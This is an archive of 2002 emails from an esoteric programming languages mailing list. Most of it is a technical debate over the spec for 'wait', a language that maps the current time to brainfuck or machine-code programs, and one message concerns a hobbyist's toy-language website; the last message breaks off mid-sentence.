Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 05:43:39 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O8D4-000AeH-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 05:43:38 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5T2hWJ26716
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 19:43:32 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 28 Jun 2002 19:43:26 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B9426CDE.6CE%cristofd@hevanet.com>
In-Reply-To: <3D1CC32E.10C5F01E@dds.nl>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

>>>> Some small
>>>> problems that arise in such a case:
>>>> -leading zeroes don't change what natural number it is; so they shouldn't
>>>> change what program is produced either. One answer is to ignore this
>>>> theoretical difficulty; another is to gerrymander the definition of either
>>>> the reference language or the mapping function so as to legitimize the
>>>> behaviour of your implementation.
>>> 
>>> Perhaps interpret the time in little-endian format?
>> 
>> I don't think that will help; it would just move the problem to one where
>> the same time with and without a bunch of extra zeroes on the END mapped to
>> two different programs.
>> 
>> Now where a zero is not a legitimate instruction--which happens to be the
>> case for the SPARC--the problem dissolves; we should keep the time in the
>> smallest data type it will fit in, because keeping it in a bigger type will
>> not make it translate to another legitimate program, but to a non-program.
>> 
>> (The problem I was trying to avoid was that of having the same number with
>> and without a bunch of leading zeroes--e.g., the current time in 32-bit and
>> 64-bit format--translate to two different legitimate programs in the
>> reference language, neither of which any other time would translate to.
>> Because this would make some programs in the reference language
>> inaccessible; and then we would have to prove that the reference language
>> was still Turing-complete with those programs removed, which is a hassle.)
> 
> The point is, in little-endian format, the problem is moved to the end of the
> program.  Whether this helps depends on what the compiler/interpreter puts
> after the time.  Your implementation puts an exit command there, in which
> case little-endian won't help.  But from what I see in your specification,
> this is not yet official, and an in an implementation that produces zeroes or
> undefined data after the program, little-endian time will move the problematic
> zeroes into this zero/undefined section, where it doesn't bother.

I see how this solves the practical problem, or rather assimilates it with a
separate practical problem, that of program termination, which we can live
with. The programs can provide the termination code themselves before the
end. But this doesn't seem to help with the theoretical problem outlined in
my last paragraph above, in machine languages where a zero is a legitimate
instruction.
(In x86, I think zeroes form one ADD [BX][SI], AL for every 16 bits? So
either the class of programs starting or ending (post-termination) with a
series of those, or the class of programs not starting or ending with a
series of those, does look dispensable. One answer is just to prove the
equivalent of that for every reference language one wants to use. I've
already done this for bf-wait in another mail.)

(Of course the spec doesn't specify big-endian or little-endian, so
implementors are free to use whichever they prefer...)

>>>> -Practically speaking: What should happen if the last instruction in the
>>>> time is cut off halfway through, because instructions are of varying
>>>> lengths? Depending on your memory layout, it might get completed with stray
>>>> data or you might get some kind of memory protection fault. Which one
>>>> happens is undefined by the spec because the sliced instruction means the
>>>> program is not a legitimate machine-language program.
>>> 
>>> In that case, try to execute something that is not a legitimate instruction.
>> 
>> Hm? Explain what you mean. I think we've largely been talking past each
>> other so far.
> 
> I mean, execute an invalid instruction and have the processor signal an error.
> Basically, the compiler/interpreter should ignore this problem and leave it
> to the machine language.

I agree, and was saying that the spec agrees too: the mapping function here
has an undefined value, so the implementation's behaviour is undefined too.
There are several outcomes that might then happen: an illegal instruction as
you say; a memory protection fault, if the second part of the instruction is
in memory without execute permissions (this depends on the implementation,
the OS, and the architecture); or (coincidentally) a legal machine
instruction, doing something-or-other, after which (if that instruction
doesn't terminate the program) the IP steps off into undefined territory as
in the case where an instruction didn't get sliced.

-Daniel.






From esoteric@oiva.sange.fi Sat Jun 29 05:53:29 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O8MZ-000Ag4-00; Sat, 29 Jun 2002 05:53:27 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 05:53:21 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O8MN-000Afy-00; Sat, 29 Jun 2002 05:53:15 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 05:53:08 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17O8MF-000Afs-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 05:53:07 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5T2r5J27052
	for <lang@esoteric.sange.fi>; Fri, 28 Jun 2002 19:53:05 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 28 Jun 2002 19:53:00 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B9426F1B.6D0%cristofd@hevanet.com>
In-Reply-To: <20020628220121.GA1859@twcny.rr.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

> Is any digit mapped to "." ? I don't ever see it come up, which causes a
> noticable lack of output.

Since nobody else is answering:
6 is mapped to ".".

-Daniel.






From esoteric@oiva.sange.fi Sat Jun 29 11:59:46 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OE4t-000BpJ-00; Sat, 29 Jun 2002 11:59:35 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 11:59:28 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OE4M-000BmC-00; Sat, 29 Jun 2002 11:59:03 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 11:58:55 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OE4E-000Bm6-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 11:58:54 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5T8wpJ10202
	for <lang@esoteric.sange.fi>; Sat, 29 Jun 2002 01:58:51 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 29 Jun 2002 01:58:45 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B942C4D4.6D6%cristofd@hevanet.com>
In-Reply-To: <B9424066.6CB%cristofd@hevanet.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

> I predict next visible output at 1025340506 which is in about nine and a
> quarter hours; and again 54 seconds later. If the server gets too bogged
> down for everyone to get through, the people who do can copy the results to
> the list.
> -Daniel.

Did anyone get it?

(By the way, I was wrong. For instance, it output the Icelandic letter
"thorn" at 1025334116.
Now why didn't I think of that?)
-Daniel.






From esoteric@oiva.sange.fi Sat Jun 29 13:41:28 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OFfO-000C9F-00; Sat, 29 Jun 2002 13:41:23 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 29 Jun 2002 13:41:16 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OFf2-000C96-00; Sat, 29 Jun 2002 13:41:00 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 29 Jun 2002 13:40:53 +0300 (EEST)
Received: from mrwaynxd-new.lnk.telstra.net ([139.130.76.194] helo=gateway.michel.com.au)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OFes-000C8z-00
	for lang@esoteric.sange.fi; Sat, 29 Jun 2002 13:40:51 +0300
Received: from ork (ork.michel.com.au [203.18.139.105])
	by gateway.michel.com.au (8.11.0/8.11.0) with SMTP id g5TAbui31777
	for <lang@esoteric.sange.fi>; Sat, 29 Jun 2002 20:37:56 +1000
From: "Ryan Michel" <ryan@michel.com.au>
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Sat, 29 Jun 2002 20:40:45 +1000
Message-ID: <LFEDLOFBCDOICJLLHNHBEEPFCBAA.ryan@michel.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <000201c21cf0$d9fc13e0$d081ef9b@lennie>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ryan@michel.com.au
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ryan@michel.com.au
Precedence: bulk
X-list: misc

Sorry about that, I have just got back from a 1/2 week holiday.  I am not
too good at html and have had some rough lessons, I must admit I cheated and
used Dreamweaver but I'm getting there.  The site should work ok now.
Thanks for the complement, the background is just black with white Comic
Sans font over the top, nothing fancy.  I prefer light writing on dark
background to the opposite!!!

ryan

-----Original Message-----
From: lang-bounce@esoteric.sange.fi
[mailto:lang-bounce@esoteric.sange.fi]On Behalf Of D De Villiers
Sent: Wednesday, 26 June 2002 3:33 AM
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo


Hello Ryan Michel,

A very nice website ! :-) But when I want to goto the Esoteric Page
(http://www.geocities.com/psyopsmstr/esoteric.htm) I get a message from
Geocities that the webpage doesn't exists ? ! <g>

Where is the Game Maker webpage ? No Link <g>

Where is the D language webpage ? No Link also <g>

Kind Regards,

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm

+++

The spec for my functional language now with a name "Nequam" (Latin for
useless) along with LOBOL and QNA can be found at:

http://www.geocities.com/psyopsmstr/index.html

(No jokes about the geocities Web page)

ryan

P.S. Soon I will add Whitespace, Alphabet Soup, Plip and an as yet unamed
language.



---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.365 / Virus Database: 202 - Release Date: 24/05/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.365 / Virus Database: 202 - Release Date: 24/05/2002






From esoteric@oiva.sange.fi Sun Jun 30 03:11:00 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OSID-000EkF-00; Sun, 30 Jun 2002 03:10:17 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 30 Jun 2002 03:10:10 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OSGi-000Ejw-00; Sun, 30 Jun 2002 03:08:44 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 30 Jun 2002 03:08:37 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OSGV-000Ejj-00
	for lang@esoteric.sange.fi; Sun, 30 Jun 2002 03:08:31 +0300
Received: from dds.nl (xs241-213-97.dial.tiscali.nl [195.241.213.97])
	by pandora.tiscali.nl (Postfix) with ESMTP id E7D10355E47
	for <lang@esoteric.sange.fi>; Sun, 30 Jun 2002 02:08:27 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D1E5853.49CA205@dds.nl>
Date: Sun, 30 Jun 2002 03:01:07 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
References: <B9426CDE.6CE%cristofd@hevanet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Daniel wrote:

> >>>> Some small
> >>>> problems that arise in such a case:
> >>>> -leading zeroes don't change what natural number it is; so they shouldn't
> >>>> change what program is produced either. One answer is to ignore this
> >>>> theoretical difficulty; another is to gerrymander the definition of either
> >>>> the reference language or the mapping function so as to legitimize the
> >>>> behaviour of your implementation.
> >>>
> >>> Perhaps interpret the time in little-endian format?
> >>
> >> I don't think that will help; it would just move the problem to one where
> >> the same time with and without a bunch of extra zeroes on the END mapped to
> >> two different programs.
> >>
> >> Now where a zero is not a legitimate instruction--which happens to be the
> >> case for the SPARC--the problem dissolves; we should keep the time in the
> >> smallest data type it will fit in, because keeping it in a bigger type will
> >> not make it translate to another legitimate program, but to a non-program.
> >>
> >> (The problem I was trying to avoid was that of having the same number with
> >> and without a bunch of leading zeroes--e.g., the current time in 32-bit and
> >> 64-bit format--translate to two different legitimate programs in the
> >> reference language, neither of which any other time would translate to.
> >> Because this would make some programs in the reference language
> >> inaccessible; and then we would have to prove that the reference language
> >> was still Turing-complete with those programs removed, which is a hassle.)
> >
> > The point is, in little-endian format, the problem is moved to the end of the
> > program.  Whether this helps depends on what the compiler/interpreter puts
> > after the time.  Your implementation puts an exit command there, in which
> > case little-endian won't help.  But from what I see in your specification,
> > this is not yet official, and an in an implementation that produces zeroes or
> > undefined data after the program, little-endian time will move the problematic
> > zeroes into this zero/undefined section, where it doesn't bother.
>
> I see how this solves the practical problem, or rather assimilates it with a
> separate practical problem, that of program termination, which we can live
> with. The programs can provide the termination code themselves before the
> end. But this doesn't seem to help with the theoretical problem outlined in
> my last paragraph above, in machine languages where a zero is a legitimate
> instruction.

Well, if the program has to supply its own terminator, then unless the zero byte
happens to not only be valid but actually be the last byte of the termination code
(which, although theoretically possible, I do not know of a machine where this is
truly the case), we have no problem, since the trermination code will force any
intermediate zeroes to be included.

> (Of course the spec doesn't specify big-endian or little-endian, so
> implementors are free to use whichever they prefer...)

But it was only the first version...







From esoteric@oiva.sange.fi Sun Jun 30 03:11:04 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OSIH-000EkK-00; Sun, 30 Jun 2002 03:10:21 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 30 Jun 2002 03:10:14 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OSGg-000Ejq-00; Sun, 30 Jun 2002 03:08:42 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 30 Jun 2002 03:08:35 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OSGY-000Eji-00
	for lang@esoteric.sange.fi; Sun, 30 Jun 2002 03:08:34 +0300
Received: from dds.nl (xs241-213-97.dial.tiscali.nl [195.241.213.97])
	by pandora.tiscali.nl (Postfix) with ESMTP id 8FFDC355E12
	for <lang@esoteric.sange.fi>; Sun, 30 Jun 2002 02:08:25 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D1E56F6.191BF429@dds.nl>
Date: Sun, 30 Jun 2002 02:55:18 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
References: <B94238E8.6C7%cristofd@hevanet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Daniel wrote:

> > the problem is that i don't think 9 character bf prog can output anything
> > visible.
>
> How about audible? Nobody addressed that question.
> +++++++.

+[.+] is visible.

> (Actually, that one might never occur, since + is zero and leading zeroes
> probably aren't translated to brainfuck. Which is fine, since every program
> that starts with + can be replaced with an equivalent program that doesn't,
> by tacking on a >< at the start.)
>
> If you're concerned about getting to the useful programs as fast as
> possible, you might want to use octal rather than decimal to translate
> from--and translate a zero to something that wouldn't occur at the start of
> an efficient brainfuck program.

Better yet, translate zero to something that can *never* occur at the start
of a Brainfuck program, even an inefficient one.  Namely, ].

> You could even include , if you had data to
> feed it.

The keyboard, obviously.  What do you mean "if"?







From esoteric@oiva.sange.fi Sun Jun 30 04:23:06 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OTQX-000FCV-00; Sun, 30 Jun 2002 04:22:57 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 30 Jun 2002 04:22:51 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OTQA-000FCP-00; Sun, 30 Jun 2002 04:22:34 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 30 Jun 2002 04:22:26 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OTQ1-000FCJ-00
	for lang@esoteric.sange.fi; Sun, 30 Jun 2002 04:22:25 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5U1MML03589
	for <lang@esoteric.sange.fi>; Sat, 29 Jun 2002 18:22:23 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 29 Jun 2002 18:22:17 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B943AB58.6DE%cristofd@hevanet.com>
In-Reply-To: <3D1E56F6.191BF429@dds.nl>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

>>> the problem is that i don't think 9 character bf prog can output anything
>>> visible.
>> 
>> How about audible? Nobody addressed that question.
>> +++++++.
> 
> +[.+] is visible.

I know. I was making a little joke.
(--. is also visible, as I later discovered. As is -. for that matter.)

>> (Actually, that one might never occur, since + is zero and leading zeroes
>> probably aren't translated to brainfuck. Which is fine, since every program
>> that starts with + can be replaced with an equivalent program that doesn't,
>> by tacking on a >< at the start.)
>> 
>> If you're concerned about getting to the useful programs as fast as
>> possible, you might want to use octal rather than decimal to translate
>> from--and translate a zero to something that wouldn't occur at the start of
>> an efficient brainfuck program.
> 
> Better yet, translate zero to something that can *never* occur at the start
> of a Brainfuck program, even an inefficient one.  Namely, ].

I thought of suggesting that, but decided against it because I didn't want
to be too pushy.

>> You could even include , if you had data to
>> feed it.
> 
> The keyboard, obviously.  What do you mean "if"?

That would take a little bit more work to do via the web, which I assume is
why he didn't include the , . I was suggesting routing data to the program
from a fixed file as a compromise measure.

-Daniel.






From esoteric@oiva.sange.fi Sun Jun 30 05:34:53 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OUY4-000FSM-00; Sun, 30 Jun 2002 05:34:48 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 30 Jun 2002 05:34:41 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OUXe-000FSG-00; Sun, 30 Jun 2002 05:34:23 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 30 Jun 2002 05:34:15 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OUXW-000FS9-00
	for lang@esoteric.sange.fi; Sun, 30 Jun 2002 05:34:14 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g5U2YCL05815
	for <lang@esoteric.sange.fi>; Sat, 29 Jun 2002 19:34:12 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 29 Jun 2002 19:34:06 -0700
Subject: [lang] Re: Spec for wait
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B943BC2E.6E0%cristofd@hevanet.com>
In-Reply-To: <3D1E5853.49CA205@dds.nl>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

>> I see how this solves the practical problem, or rather assimilates it with a
>> separate practical problem, that of program termination, which we can live
>> with. The programs can provide the termination code themselves before the
>> end. But this doesn't seem to help with the theoretical problem outlined in
>> my last paragraph above, in machine languages where a zero is a legitimate
>> instruction.
> 
> Well, if the program has to supply its own terminator, then unless the zero
> byte
> happens to not only be valid but actually be the last byte of the termination
> code
> (which, although theoretically possible, I do not know of a machine where this
> is
> truly the case), we have no problem, since the trermination code will force
> any
> intermediate zeroes to be included.

Well, except the code for the termination might not be the last instruction
spatially; the last instruction spatially might be a jump back into the
middle of the code, where the termination code could be, or it might (in
something like SPARC) be the instruction to execute right after such a jump
is executed. And a zero could be the last part of the code for one of those.
I grant that in either case, having those zeroes missing entirely would
result in an illegitimate program; as indeed would having them missing from
the end of termination code that would be complete with them, should that
exist on some obscure machine. (Older versions of SunOS did have zero as the
last byte of the termination code, but then every instruction of the SPARC
is 32 bits long so the issue doesn't arise at the level of bytes.)

Now here's another possibility: a program that though it doesn't execute the
final zeroes, does check to see whether they are there in accessible
memory--I mean in some more civilized way than by trying to access them--and
then behaves differently depending on the result. Well, such programs aren't
necessary for Turing-completeness. And the whole issue of what memory a
program may and may not fiddle with is left undefined by the spec. So I
suppose using little-endian does dissolve this theoretical difficulty. This
makes it a reasonable solution for anyone whose machine is such that this
difficulty arises, as well as people for whose machines it's the most
natural way to do things.

Hm, thinking about it more: I characterized the problem too narrowly in the
first place. It's not just the obscure danger that both X and 0000X might
both be necessary for Turing-completeness; it's also the obscure danger that
X and 0000Y might be necessary for turing-completeness (no implementation is
going to bother to include the zeros in some cases and not others), or that
one of the two might be necessary and an implementation might pick the other
one. I think individual implementors are still going to have to think a bit
in order to make sure that those reference-language programs their
implementation doesn't ever produce are dispensable. In fact your original
question:
What if the time matching the program you want has already past?
might be a serious problem for some reference languages.

(I realize that was a sloppy way of speaking: "those reference-language
programs their implementation doesn't ever produce". Because it's in the
spec that an implementation must produce every program in the reference
language, for some time. What I meant by "reference language" in the quoted
statement is the pre-existing language used as a starting point for the
reference language, and of which the reference language is a very large
subset. Actually, maybe I should have "reference language" mean that--the
whole pre-existing language--and say in the spec that every program in some
Turing-complete subset of that language must be produced by some natural
number? That might be the cleanest. Also, I think I will add that this must
be true of natural numbers greater than any given natural number, as well.
So implementors will have to make sure there's an answer to your query about
the right program having gone past already. I'll make these two changes
sometime later, and any others I decide on, once it looks like there are no
others that need to be made immediately...)

>> (Of course the spec doesn't specify big-endian or little-endian, so
>> implementors are free to use whichever they prefer...)
> 
> But it was only the first version...

Right, but again I don't see any benefit for anyone in limiting people's
options in this respect.

-Daniel.






From esoteric@oiva.sange.fi Sun Jun 30 10:41:35 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OZKf-000GLX-00; Sun, 30 Jun 2002 10:41:17 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 30 Jun 2002 10:41:11 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OZJx-000GLQ-00; Sun, 30 Jun 2002 10:40:33 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 30 Jun 2002 10:40:26 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17OZJp-000GLK-00
	for lang@esoteric.sange.fi; Sun, 30 Jun 2002 10:40:25 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5U7eOi23971
	for <lang@esoteric.sange.fi>; Sun, 30 Jun 2002 10:40:24 +0300
Received: (from pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) id g5U7eLE08102
	for lang@esoteric.sange.fi; Sun, 30 Jun 2002 10:40:21 +0300
Date: Sun, 30 Jun 2002 10:40:21 +0300
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Spec for wait
Message-ID: <20020630104021.A7686@cs.helsinki.fi>
References: <Pine.LNX.4.44.0206281726490.28743-100000@melkinpaasi.cs.Helsinki.FI> <001c01c21eb6$bd1f4720$a500000a@td165>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <001c01c21eb6$bd1f4720$a500000a@td165>; from dmoss@tdsi.co.uk on Fri, Jun 28, 2002 at 04:16:11PM +0100
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Fri, Jun 28, 2002 at 04:16:11PM +0100, dmoss@tdsi.co.uk wrote:
> http://www.muppetlabs.com/~breadbox/bf/ and
> http://home.wxs.nl/~faase009/Ha_BF.html
> are the closest to a spec that I have come about.

Yeah. I checked the "original spec" (available at for example
